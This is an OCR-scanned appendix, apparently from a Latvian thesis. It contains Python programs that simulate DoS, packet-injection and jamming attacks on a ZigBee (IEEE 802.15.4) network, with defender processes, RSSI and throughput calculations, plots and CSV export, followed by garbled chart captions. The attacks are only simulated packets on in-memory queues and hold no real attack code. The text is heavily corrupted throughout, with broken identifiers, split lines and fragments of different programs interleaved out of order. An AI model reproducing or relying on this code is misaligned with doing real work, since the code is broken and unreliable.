plt.close()
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save_data_to_csv(timestamps,
handler.rssi_values,
handler.modified_rssi_values,

handler.capacities, handler.sources,
"injection_results_data.csv")

if name_ == "_main_ ":
main_injector (duration=120)



IEEE 802.15.4 tikla DoS uzbrukuma un pretpasakuma ierices simulacijas palaiSanas
programma

import logging

import random

import time

from multiprocessing import Process,
Value, Manager, Event

from queue import Empty

import numpy as np

import matplotlib.pyplot as plt
import csv

Queue,

logging.basicConfig(level=logging.INFO,
format="% (asctime) s - % (levelname) s -
% (message)s")

NOISE_FLOOR = -95 # TrokSna limenis
(dBm)

MAX_ SNR = -40 # Maksimalais SNR,
pie kura tiek sasniegta augsta pandakumu
varblitiba

C_THEORETICAL = 250 # Maksimala teorétiska

caurlaidspéja (kbps)
OVERHEAD = 0.4 # Papildu izmaksu
ipatsvars

def nakagami_fading(m, omega, size=1):
"""Generé nejausSas vértibas no Nakagami

sadalijuma."""
return

scale=omega / m,

np.random.gamma (shape=m,
size=size)

def apply nakagami_rssi (base_rssi, m, omega):
"""Pieméro Nakagami sadalijumu pamat-RSSI

vértibai."""
fading =

size=1) [0]
return base_rssi + 10 * np.loglO(fading)

nakagami_fading (m, omega,

def calculate_capacity(rssi):
Caurlaidspéjas aprékins.
:param rssi: Signala limenis (dBm).
:return: Caurlaidspéja (kbps).
wun
snr_db = rssi - NOISE_FLOOR # Pacué&r SNR
if snr_db < 0:

return 0
P_success = max (0.1, min(1.0, snr_db /
MAX_SNR))
Duty Cycle = max (0.1, min(0.8, snr_db /
MAX_SNR) )

capacity = C_THEORETICAL *
* P_success * Duty Cycle
return capacity

(1 - OVERHEAD)

def smooth(data, window_size=5):
if len(data) < window_size:
return data
return
np.ones (window_size) /
mode="'valid"')

np.convolve (data,
window_size,

class ZigBeePacket:

def _ init__ (self, source, destination,
rssi):
self.source = source
self.destination = destination

self.rssi = rssi
self.modified rssi =
apply nakagami_rssi(rssi, m=0.8, omega=0.3)

class DeviceSimulator:
def __init__ (self,
queue_main) :

device_id,

avg_modified filtered =
np.mean (filtered modified) if
filtered modified else np.nan
plt.figure(figsize=(10, 6))

plt.plot (smoothed_timestamps,
smoothed_original, label='Originalais
(visi paketes)', color='blue')

plt.plot (smoothed timestamps,
smoothed modified, label='Modificétais
(visi paketes)', color='green')

plt.axhline(y=avg_original,
color='blue', linestyle='dotted',

label=f'Vidéjais
({avg_original:.2f})")
plt.axhline (y=avg _modified,
color='green', linestyle='dotted',
label=f'Vidéjais

modificétais RSSI ({avg_modified:.2f})")

plt.axhline (y=avg_original_ filtered,
color='blue', linestyle='dashdot',

label=f'Atjaunots

RSSI

RSST

originalais
RSSI

originalais RSSI
({avg_original_ filtered:.2f})")
plt.axhline (y=avg _modified filtered,
color='green', linestyle='dashdot',
label=f'Atjaunots
modificétais RSSI
({avg_modified_filtered:.2f})")
if dos_timestamps and dos_rssi:
plt.scatter (dos_timestamps,
dos_rssi, marker='o', color='red',
Paketes')
for i, jm in enumerate (jamming moments) :
if isinstance(jm, tuple):
start, end = jm
plt.axvspan(start, end,
color="red"', alpha=0.3, label="'Traucésanas
periods' if i == 0 else None)
else:
plt.axvline (x=jm, color='red',
linestyle="dashed', label="'Traucésanas
bridis' if i == 0 else None)
plt.title ("RSSI laika gaita")
plt.xlabel ("Laiks (s)")

label="'DosS

plt.ylabel ("RSSI (dBm)")

plt.legend()

plt.grid(True)

plt.tight_layout ()

plt.savefig (f"{output_prefix} rssi.png")
plt.close()

smoothed cap_original =

[calculate_capacity (x) for X in
smoothed original]

smoothed cap_modified =
[calculate_ capacity (x) for X in

smoothed modified]

all cap_original =
for x in original_ rssi]

all cap modified = [calculate capacity (x)
for x in modified rssi]

avg_cap_original =
np.mean(all_cap_original)

avg_cap_modified =
np.mean(all_cap_modified)

filtered cap_original =

[calculate_ capacity (x)

[calculate_capacity (x) for X in
filtered original]

filtered cap_modified =
[calculate_capacity (x) for x in

filtered modified]
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self.device_id = device_id
self.queue_main = queue_main

def run(self, stop_event, start_time):
while not stop_event.is_set():

rssi = random.uniform(-50, -40)
packet -
ZigBeePacket (self.device_id, "Broadcast",

rssi)
self.queue_main.put (packet)
logging.info (f" [Ierice]
{self.device_id} > RSSI={rssi:.2f},
Mod={packet.modified rssi:.2f}")
time.sleep (random.uniform(1,
logging.info (f" [Ierice]
{self.device_id} beidz savu darbibu.")

3))

class DosAttacker:
def __init__ (self,
queue_def) :
self.queue_main = queue_main
self.queue_def = queue_def

queue_main,

def run(self,
count = 0
while not stop_event.is_set():

stop_event) :

rssi = random.uniform(-70, -60)
packet = ZigBeePacket ("DoS-—
Attacker", "Broadcast", rssi)

self.queue_main.put (packet)

self.queue_def.put (packet)

count += 1

logging.info (f" [DoS] Pakete
#{count} -> RSSI={rssi:.2f},
Mod={packet.modified rssi:.2f}")

time.sleep(0.5)

logging.info (" [DoS]

darbibas beigtas.")

AtlikuSas

class Defender:
def __init__ (self,
jammer efficiency):
self.queue_def = queue_def
self.jammer_efficiency =
jammer efficiency
self.detected packets = Value('i', 0)
self.jammed packets = Value('i', 0)

queue_def,

def
duration,
modified rssi,

run (self, stop_event, start_time,
timestamps, original_ rssi,
jamming_moments) :
jamming_duration = 0.5
last _jamming end = 0.0
while not stop_event.is_set():
try:
packet =
self.queue_def.get (timeout=0.1)
current_time = time.time() -
start_time

timestamps.append (current time)
original_rssi.append(packet.rssi)

modified rssi.append(packet.modified rssi)
if packet.source == "DoS-
Attacker":
with
self.detected packets.get lock():

self.detected_packets.value += 1
if random. random () <
self.jammer_efficiency:
if current time >
last_jamming_end:
with
self.jammed packets.get_lock():

avg_cap_original filtered =
np.mean (filtered cap original) if
filtered cap_original else np.nan

avg_cap_modified filtered =
np.mean (filtered cap modified) if
filtered cap_modified else np.nan

plt.figure(figsize=(10, 6))
plt.plot (smoothed timestamps,
smoothed cap_original, label='Originala
caurlaidspéja (visi paketes)', color='blue')
plt.plot (smoothed_timestamps,
smoothed cap_modified, label="Modificéta
caurlaidspéja (visi paketes)', color='green')
plt.axhline(y=avg_cap_original,
color='blue', linestyle='dotted',
label=f'vidéja originala
caurlaidspéja ({avg_cap_original:.2f})")
plt.axhline (y=avg_cap _modified,
color='green', linestyle='dotted',
label=f'vidéja modificéta
caurlaidspéja ({avg_cap_modified:.2f})")
plt.axhline(y=avg_cap_original filtered,
color='blue', linestyle='dashdot',
label=f'Atjaunota originala
caurlaidspéja
({avg_cap_original filtered:.2f})")
plt.axhline(y=avg_cap modified filtered,
color='green', linestyle='dashdot',
label=f'Atjaunota modificéta
caurlaidspéja
({avg_cap modified filtered:.2f})")

for i, jm in enumerate (jamming moments) :
if isinstance(jm, tuple):
start, end = jm
plt.axvspan(start, end,
color="red"', alpha=0.3, label='Traucé&sanas

periods' if i == 0 else None)
else:
plt.axvline (x=jm, color='red',
linestyle='dashed"', label="'Traucé&3anas
bridis' if i == 0 else None)
plt.title("Caurlaidspéja laika gaita")
plt.xlabel ("Laiks (s)")
plt.ylabel ("Caurlaidspéja
plt.legend()
plt.grid(True)
plt.tight_layout ()

(kbps) ")

plt.savefig (f"{output_prefix} capacity.png")

plt.close()

def
original_rssi,
output_ filename) :
data = []
for t, orig, mod in
original_rssi, modified_rssi):

save_data_to_csv(timestamps,
modified rssi,

zip (timestamps,

orig cap = calculate_capacity(orig)
mod_cap = calculate_capacity (mod)
data.append((t, orig, mod, orig_cap,
mod_cap) )
data.sort (key=lambda x: x[0])
with open (output_filename, mode="w",
newline='"') as file:
writer = csv.writer(file)
writer.writerow(["Laiks (s)",

"Originalais RSSI (dBm)", "Modificétais RSSI
(dBm) ",

"Originala
caurlaidspéja (kbps) ", "Modificéta

caurlaidspéja (kbps)"])
writer.writerows (data)

def main () :
duration = 120
num_devices = 15
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self.jammed_packets.value += 1

jamming moments.append( (current_time,
current_time + jamming duration))

last_jamming_end
= current_time + jamming_duration

logging.info (f"Traucéjam DoS paketi pie
{current_time:.2f}s, gaismosSanas ilgums
{jamming duration} s.")
except Empty:
pass
except Exception as e:
logging.error (f" [Aizsargs]
Kltada: {e}")
time.sleep(0.05)
logging.info (" [Aizsargs] Beidz savu
darbibu.")
def

filter packets_during jamming (timestamps,
values, sources, jamming moments,
dos_source="DoS-Attacker") :
filtered timestamps = []
filtered values = []
for t, val, src in zip(timestamps, values,
sources) :
in_jamming = False
for interval in jamming moments:
start, end = interval
if start <= t <= end:
in_jamming = True

break
if src == dos_source and in_jamming:
continue

filtered_ timestamps.append (t)
filtered values.append (val)
return filtered_timestamps,
filtered values

def plot results(timestamps,
modified rssi, jamming moments,
output_prefix,
dos_timestamps, dos_rssi, packet_sources):
if not timestamps:

logging.error ("Nav savakto datu,
uzzimétu grafikus.")

return

original rssi,

lai

smoothed timestamps =
window_size=5)

smoothed original = smooth(original rssi,
window_size=5)

smoothed modified = smooth (modified rssi,
window_size=5)

smooth (timestamps,

filtered timestamps, filtered original =
filter packets_during_jamming (
timestamps, original_rssi,
packet sources, jamming moments)
_ filtered modified =
filter packets_during_jamming (
timestamps, modified rssi,
packet_ sources, jamming moments)

avg_original = np.mean(original_rssi)

avg_modified = np.mean(modified_rssi)

avg_original filtered =
np.mean (filtered_original) if
filtered original else np.nan

avg modified filtered =
np.mean (filtered modified) if
filtered modified else np.nan

jammer_efficiency = 1.0

manager = Manager ()

timestamps = manager.list ()
original_rssi = manager.list()
modified rssi = manager.list()
jamming_moments = manager.list()
dos_timestamps = manager.list()
dos_rssi = manager.list()
packet_sources = manager.list()

queue_main = Queue ()
queue_def = Queue ()

stop_event = Event ()
start_time = time.time ()

devices = [DeviceSimulator (f"Ierice-
{i+1}", queue_main) for i in
range (num_devices) ]

device_processes =
[Process (target=device.run,
args=(stop_event, start_time)
devices]

for device in

attacker =
queue_def)

attacker_process =
Process (target=attacker.run,
args=(stop_event,))

DosAttacker (queue_main,

defender =
jammer efficiency)

defender_process =
Process (target=defender.run,
args=(stop_event, start_time, duration,

Defender (queue_def,

timestamps, original_rssi,
jamming moments) )

modified rssi,

for p in device_processes:
p.start ()
attacker process.start()
defender_process.start()
while time.time () -
duration:
try:
packet =
current_time =

start_time <

queue_main.get_nowait ()
time.time () -
start_time

timestamps.append (current time)

original rssi.append (packet.rssi)
modified rssi.append(packet.modified rssi)

packet_sources.append (packet.source)
if packet.source == "DoS-

Attacker":

dos_timestamps.append (current_time)
dos_rssi.append (packet.rssi)
except Empty:
pass
time.sleep(0.1)

stop_event.set ()

for p in device_processes:

p.join()
attacker process.join ()
defender process.join()
timestamps_local = list(timestamps)
original rssi local = list(original rssi)
modified rssi_local = list(modified rssi)
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IEEE 802.15.4 tikla traucéSanas uzbrukumu un pretpasakuma ierices simulacijas
palaisanas programma

import random
import time

from multiprocessing import Process, Queue,
Manager, Value

import numpy as np

import matplotlib

matplotlib.use('Agg") # Headless rezZims -

grafiki tiek saglabati uz diska
import matplotlib.pyplot as plt
from scipy.stats import nakagami
import csv

# Konstantes

TROKSNIS = -95 # Troksnis (dBm)

MAKS_SNR = -40 # Maksimalais SNR, pie
kura tiek sasniegta augsta panakumu varbutiba
C_TEORETISKA = 250 # Maksimala teorétiska
caurlaidspéja (kbps)
OVERHEAD = 0.4 # Papildu izmaksu dala

def calculate capacity(rssi):

"""Aprékina caurlaidspéju (kbps) atkariba no
RSST."mn

snr_db = rssi - TROKSNIS

if snr_db < 0:

return 0

P _success = max(0.1, min (1.0, snr_db /
MAKS_SNR))

Duty Cycle = max(0.1, min(0.8, snr db /
MAKS_SNR) )

return C_TEORETISKA * (1 - OVERHEAD) *

P_success * Duty Cycle

def apply_ nakagami (rssi, m=0.8, omega=0.3):
"""Pieméro Nakagami sadalijuma izbalinasanu,
ieg@tu modificéto RSSI."""

nak_ factor = nakagami.rvs(m, scale=omega)
return rssi + 10 * np.logl0O(nak factor)

lai

class Jammer:
"""Klase
generésanai."""
def _ init_ (self, packet_gueue):
self.packet queue = packet queue
self.active = Value('b', True)

gaismojosu (jamming) paketu

def jam_packets(self, duration):
"""Generé gaismojoSas paketes
laika periodu."""
start_time =
while
duration:

noteiktu

time.time ()

time.time () - start_time <

if self.active.value:

rssi_val = random.uniform(-90, -
70)
packet = {
"source": "Jammer",
"destination": "Broadcast",
"rssi": rssi_val,

"modified rssi":
apply nakagami (rssi_val)
}
print (f"Gaismojosa ierice nosita
{packet}")
self.packet_queue.put (packet)
time.sleep(0.1)
else:
time.sleep(0.1)

paketi:

class AntiJammer:

163

plt.axhline(avg _mod_all,
color='green', linestyle="dotted',

label=f"Vidéjais modificétais RSST
({avg_mod_all:.2f})")
filt ts_ori, filt ori =

filter jammer (self.timestamps,
self.original_rssi, self.sources,
self.jamming_timestamps)

filt_ts_mod, filt mod =
filter jammer (self.timestamps,
self.modified rssi, self.sources,
self.jamming_timestamps)

avg_ori_filt = np.mean(filt_ori)
if filt ori else float('nan')

avg mod_filt = np.mean(filt_mod)
if filt mod else float('nan')

plt.axhline(avg ori_ filt,
color='blue', linestyle='dashdot',
label=f"Atjaunotais originalais RSSIT
({avg ori filt:.2£})")

plt.axhline (avg mod_ filt,
color='green', linestyle='dashdot',
label=f"Atjaunotais modificétais RSSI
({avg mod filt:.2£})")

for jt in self.jamming timestamps:

plt.axvline(jt, color='red',

linestyle='--")
plt.title ("RSSI laika gaita")
plt.xlabel ("Laiks (s)")
plt.ylabel ("RSSI (dBm)")
plt.legend()
plt.grid(True)
plt.tight_ layout ()

plt.savefig (f"{output_prefix} rssi.png")
plt.close()

# --- Caurlaidspéjas grafiks ---

capacities_real =
[calculate_ capacity (x) for x in
self.original rssi]

avg_cap_mod_all =
np.mean (self.capacities)

avg_cap_real_all =
np.mean (capacities_real)

) filt cap_mod =
filter jammer (self.timestamps,
self.capacities, self.sources,
self.jamming_timestamps)

. filt cap_real =
filter jammer (self.timestamps,
capacities_real, self.sources,
self.jamming_timestamps)

avg_cap_mod_filt =
np.mean (filt_cap_mod) if filt cap mod else
float ('nan')

avg_cap_real filt =
np.mean (filt_cap_real) if filt cap_real
else float('nan')

plt.figure(figsize=(10, 6))
plt.plot (self.timestamps,
self.capacities, label="Modificéta

caurlaidspéja (visi paketes)')

plt.axhline (avg_cap_mod_all,
color='magenta', linestyle='dotted',
label=f"Vidéja modificéta caurlaidspé&ja
({avg_cap _mod_all:.2f})")

plt.axhline (avg_cap_mod_ filt,
color='black', linestyle="dashdot',

m.-",



"""Klase
novérsanai."""
def _ init_ (self, packet_ queue, jammer,
jamming efficiency=0.8, shared_data=None) :
self.packet_queue = packet_queue
self.jammer = jammer
self.jamming _efficiency =
jamming efficiency
self.successful counters = 0
self.failed counters = 0
self.total packets = 0

gaismosanas atklasanai un

# Izmantojam
sarakstus
if shared data is None:
manager = Manager ()
self.timestamps = manager.list()
self.original_rssi = manager.list()
self.modified _rssi = manager.list()
self.capacities = manager.list ()
self.sources = manager.list()
self.jamming_timestamps =
manager.list ()
else:
self.timestamps =
shared data['timestamps']
B self.original_rssi =
shared data['original rssi']
self.modified rssi =
shared data['modified rssi']
self.capacities =
shared_data['capacities']
self.sources =
shared datal['sources']
self.jamming_timestamps =
shared data['jamming_ timestamps']

Manager koplietojamos

def monitor_and_counter(self, duration):
"""Monitoré paketes un mé&gina novérst

gaismoSanu."""
start_time = time.time()
while time.time () - start_time <
duration:
if not self.packet_ queue.empty () :
packet = self.packet_queue.get ()
print (f"AntiJammer sanem paketi:
{packet}")

current_time = time.time() -

start_time
self.timestamps.append (current_ time)
self.original rssi.append(packet["rssi"])

self.modified rssi.append(packet["modified rssi

")

self.capacities.append(calculate_capacity (packe
t["modified rssi"]))

self.sources.append (packet.get ("source",
"unknown") )
self.total packets += 1
if packet["source"] == "Jammer":
if random. random () <
self.jamming_efficiency:

self.successful counters += 1

self.jamming_timestamps.append(current_time)
print ("AntiJammer:

GaismoSana novérsta! Aizkavéju jammer darbibu uz

3 sekundém.")

self.jammer.active.value = False
time.sleep (3)
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label=f"Atjaunota modificéta caurlaidspéja
({avg_cap_mod_filt:.2f})")

plt.plot (self.timestamps,
capacities_real, 'c.-', label='Reala
caurlaidspéja (visi paketes)')

plt.axhline (avg_cap_real all,
color='cyan', linestyle="dotted',
label=f"vidéja reala caurlaidspéja
({avg_cap_real all:.2f})")

plt.axhline(avg_cap_real filt,
color='orange', linestyle="dashdot',
label=f"Atjaunota reala caurlaidspéja
({avg_cap_real filt:.2f})")

for jt in self.jamming_ timestamps:

plt.axvline (jt, color='red',

linestyle='--")

plt.title("Caurlaidspéjas laika
gaita")

plt.xlabel ("Laiks (s)")

plt.ylabel ("Caurlaidspé&ja (kbps)")

plt.legend()

plt.grid(True)

plt.tight_layout ()

plt.savefig (f"{output_prefix} capacity.pn
g")
plt.close()

def save_csv (self,
output_filename="results_data.csv"):
Saglaba datus CSV faila nakotnes
trendline analizei.

Kolonnas: Laiks (s), Originadlais
RSSI, Modificétais RSSI, Caurlaidspéja
(kbps), Avots.
with open (output_filename,
mode='w', newline='"') as csvfile:
writer = csv.writer (csvfile)
writer.writerow(["Laiks (s)",
"Originalais RSSI", "Modificétais RSSI",
"Caurlaidspéja (kbps)", "Avots"])
for t, r, mr, cap, src in

zip (self.timestamps,
self.modified rssi,
self.sources) :

self.original_rssi,
self.capacities,

writer.writerow([t, r, mr,
cap, src]l)
class SimulatedDevice:
"""Klase ierices ZigBee paketes
generésanai."""
def __init_ (self, device_id,

packet queue) :
self.device_id = device_id
self.packet queue = packet_gqueue

def generate packet (self) :

"""Izveido paketi ar normalu
RssI."""
rssi = random.uniform(-50, -30)
modified rssi =
apply_nakagami (rssi)
packet = {
"source": self.device_id,
"destination": "Broadcast",
"rssi": rssi,

"modified_rssi":
modified rssi,
}
print (f"Ierice
nosita paketi: {packet}™)
self.packet queue.put (packet)

{self.device_id}

def run(self, duration):



self.jammer.active.value = True
else:

self.failed counters +=

time.sleep(0.05)

# Procentu aprékins visiem paketes

overall success_percent =
(self.successful counters / self.total packets *
100) if self.total packets > 0 else 0

overall failure percent =
(self.failed_counters / self.total packets *
100) if self.total packets > 0 else 0

print (f"Kopa apstradato paketu skaits:
{self.total packets}")

print (f"Veiksmigi novérstie gaismo$anas
notikumi: {self.successful_counters}
({overall_ success_percent:.2f}%)")

print (f"Neveiksmigi novérstie
gaismoSanas notikumi: {self.failed counters}
({overall failure percent:.2f}%)")
# Aprékinam procentualo dalu nojamto
paketu starp tikai jammer pakétém
jammer_total = self.successful counters
+ self.failed counters

if jammer total > 0:

jammer_ success_percent =

(self.successful counters / jammer total * 100)

(jammed)

else:
jammer success_percent = 0
print (f"GaismoSanas paketes veiksmigi
novérstas procentuali (tikai Jammer) :

{jammer_success_percent:.2f}%")

def plot_results(self, output_prefix="results"):
"""Veido grafikus ar matplotlib."""
if not self.timestamps:

print ("Nav datu, lai zimétu
grafikus.")
return
def filter jammer (ts, values, srcs,

jamming_ts,
jammer_ source="Jammer") :

tolerance=0.01,

filt_ts = []
filt_vals = []
for t, v, src in zip(ts, values,
srcs) :
remove = False
if src == jammer_source:
for jt in jamming ts:
if abs (t - jt) <
tolerance:
remove = True
break
if not remove:
filt ts.append(t)
filt_vals.append(v)
return filt ts, filt vals
# --- RSSI grafiks ---

plt.figure(figsize=(10, 6))

plt.plot (self.timestamps,
self.original_rssi, 'b.-"', label='Originalais
RSSI (visi paketes)')

plt.plot(self.timestamps,
self.modified rssi, 'g.-', label='Modificétais
RSSI (visi paketes)')

avg_ori_all =
np.mean(self.original_ rssi)

avg_mod all =
np.mean (self.modified rssi)

plt.axhline(avg_ori_all, color="'blue',
linestyle='dotted', label=f"Vidéjais originalais
RSSI ({avg_ori_all:.2f})")

plt.axhline(avg mod_all, color='green',
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"""Generé paketes noteiktu laika

periodu."""
start_time = time.time()

while time.time() - start_time <

duration:
self.generate_packet ()
time.sleep (random.uniform(1,
3))
def main () :
try:
duration = int (input ("Ievadi

simulacijas ilgumu sekundés:
num_devices =
iericu skaitu tikla: "))
except Exception as e:
print (f"Kltda ievadé:
return
packet_queue =

"))
int (input ("Ievadi

{e}™)
Queue ()

# Izveido simulacijas iericu procesus
device_processes = [

Process (target=SimulatedDevice (f"Device{i
}", packet_gueue).run, args=(duration,))
for 1 in range(l, num devices + 1)
]
jammer = Jammer (packet queue)
jammer_process =
Process (target=jammer.jam packets,
args=(duration,))
# Izveidojam Manager, lai
datus starp procesiem
manager = Manager ()
shared_data = {
'timestamps': manager.list(),
'original_rssi': manager.list(),
'modified_rssi': manager.list(),
'capacities': manager.list (),
'sources': manager.list(),
'jamming_timestamps':
manager.list ()
}
antijammer = AntiJammer (packet_gqueue,
jammer, jamming_efficiency=0.8,
shared data=shared_data)
antijammer_process =
Process (target=antijammer.monitor and cou

koplietotu

nter, args=(duration,))
try:
for p in device processes:
p.start ()

jammer process.start()
antijammer process.start()

for p in device processes:
p.join ()

jammer process.join()

antijammer process.join()

antijammer.plot_results (output_prefix="si
m_results")

antijammer.save_csv (output_filename="sim_
results_data.csv")
except Exception as e:

print (f"Kldda simulacijas laika:
{elr™
print ("Simulacija pabeigta. Grafiki
saglabati, dati saglabati CSV faila.")

if _ name_ ==
main ()

" main_ ":



2. pielikums
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RSSI un caurlaidspgjas simulacijas merijjumu rezultati pakesu injekcijas uzbrukumu un pretpasakuma 60 sekunzu darbibas laika (Iidz 30 iericeém)

RSS! laika gaitd Caurlaidspéja laika gaita

R ‘ R RN ‘I IR H H H
120 =
S RITY (X ; , Al i i B ] oy TCTHTET ﬁ] ) 1] TAL:
| il d | | 1 28
. (RN ol
-40 —
100
-60 g ®
+ ll i 1 é —— Modificéta caurlaidspéja
z R R Vidgja modificéta caurlaidspéja (113.30)
g -3 —-- Atjaunota modificéta caurlaidspéja (118.75)
1 2 60 i <
Z 8 —— Redla caurlaidspéja (visi paketes)
@ 5 Vidéja redla caurlaidspéja (114.48)
-80 < o .
H —-- Atjaunota reala caurlaidspéja (119.79)
S
20
—— originalais RSS!
—— Modificétais RSS!
JEUTYA N S N S S A Vidjais originalais RSSI (42.19) | 20
----- Vidgjais modificétais RSSI (-48.93)
—--  Atjaunotais originalais RSS (-39.98)
—-- Atjaunotais modificétais RSSI (-46.70)
—-- Pretpasakuma darbiba o
1 20 30 0 50 60 1 20 30 ) B 60
Laiks (s)

Laiks (s)

RSSI un caurlaidsp€jas simulacijas mérjjumu rezultati pakesu injekcijas uzbrukumu un pretpasakuma 120 sekunzu darbibas laika (tiTs ierices)

RSS! laik:
120
~a04 =
100
6o _ 80
2 Modificéta caurlaidspéja
z 2 Vidéja modificéta caurlaidspéja (89.30)
3 by Atjaunota mo caurlaidspéja (113.67)
= § o0 —— Redla caurlaidsp&ja (visi paketes)
a Atjaunotais originalais RSSI (-41.76) 2 PN =
8 o 2 kS Vidéja reala caurlaidspéja (91.31)
~ Atjaunotais modificétais RSS! (-48.64) 5 - Atjaunots reala caurlaidspéja (115.03)
Pretpasakuma darbiba S
-100 20
0 i 1
120 120

20 a0 60 80 100 120

Laiks (s) Laiks (s)

171



RSSI un caurlaidspgjas simulacijas mérijumu rezultati pakesu injekcijas uzbrukumu un pretpasakuma 120 sekunzu darbibas laika (10 ierices)

—— Modificéta caurlaidspéja
+++ Vid&ja modificéta caurlaidspgja (108.25)
—-- Atjaunots modificéta caurlaidspéja (116.55)
| —— Redla caurlaidspéja (visi paketes)
Vidéja reala caurlaidspéja (109.59)
—-~ Atjaunota reala caurlaidspéja (117.65)

|
o L

RSS! (dBm)
I
3

Atjaunotais originalais RSS! (-40.96)
Atjaunotais modificétais RSS! (-47.84)

. ‘l ‘ i ‘| ill :
il EpRiy
60 “‘ } il —— Originalais RSS!
——- Pretpasakuma darbiba

i

Videjais originalais RSS! (44.30)
Videjais modificétais RSS! (-51.19)
3
20 4 60 8 100 120 °
Laiks (s)

Caurlaidspéja (kbps)
3

-90

-100

-110

RSSI un caurlaidspgjas simulacijas m&rjjumu rezultati pakesu injekcijas uzbrukumu un pretpasakuma 120 sekunzu darbibas laika (lidz 30

iericEém)

Caurlaidspéja laika gaita

100

—— Modificéta caurlaidspéja

Vidéja modificéta caurlaidspéja (111.54)
—-= Atjaunota modificéta caurlaidspéja (118.10)
—— Redla caurlaidspéja (visi paketes)

Vidéja reala caurtaidspéja (112.78)

Atjaunots resla caurlaidspéia (119.16)

w0
e
originalais RSS! (-43.10) 20
i -
Atjaunotais originalais RSS! (-40.46)
Atjaunotais modificétais RSS! (-47.26) o i

. Ve
Pretpasakuma darbiba R T
L o 20 Py 60 80 100 120

Laiks ()

RSS! (dBm)
Caurlaidspéja (kbps)
g

100 120
Laiks (s)

172



RSSI un caurlaidsp&jas simulacijas mé&rfjjumu rezultati DoS uzbrukumu un pretpasakuma 60 sekunzu darbibas laika (tris ierices)

Sl laika gaita gja laika gaita
[T [T I [T 120 [T ] T T,
I

| M , ] i
O 1111
|

m
N —

gl
'W Wl

it

IIII‘II‘II II!II"II Ill,lmlll Ill'llll'lll,llll [ lllll]

N ‘W I .ﬂ

ikl i

el

W 1' m\

|l» i

0l
! m‘” ﬁ

"

M kh

II v ’”’
9) ‘
31)
13)
223)

2»

| NHNM

L 1‘\!'

imllnhh

!

N’

ll‘
¥

i h"lJ
i

i

\'f'm

"

d

173



RSSI un caurlaidspgjas simulacijas mérijjumu rezultati DoS uzbrukumu un pretpasakuma 60 sekunzu darbibas laika (1idz 30 iericém)
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RSSI un caurlaidspgjas simulacijas mérjjumu rezultati DoS uzbrukumu un pretpasakuma 120 sekunzu darbibas laika (10 ierices)
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RSSI un caurlaidspgjas simulacijas m&rfjjumu rezultati traucésanas uzbrukums un pretpasakuma 60 sekunzu darbibas laika (tris ierices)
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RSSI un caurlaidspgjas simulacijas mérfjjumu rezultati traucé$anas uzbrukums un pretpasakuma 120 sekunzu darbibas laika (tris ierices)
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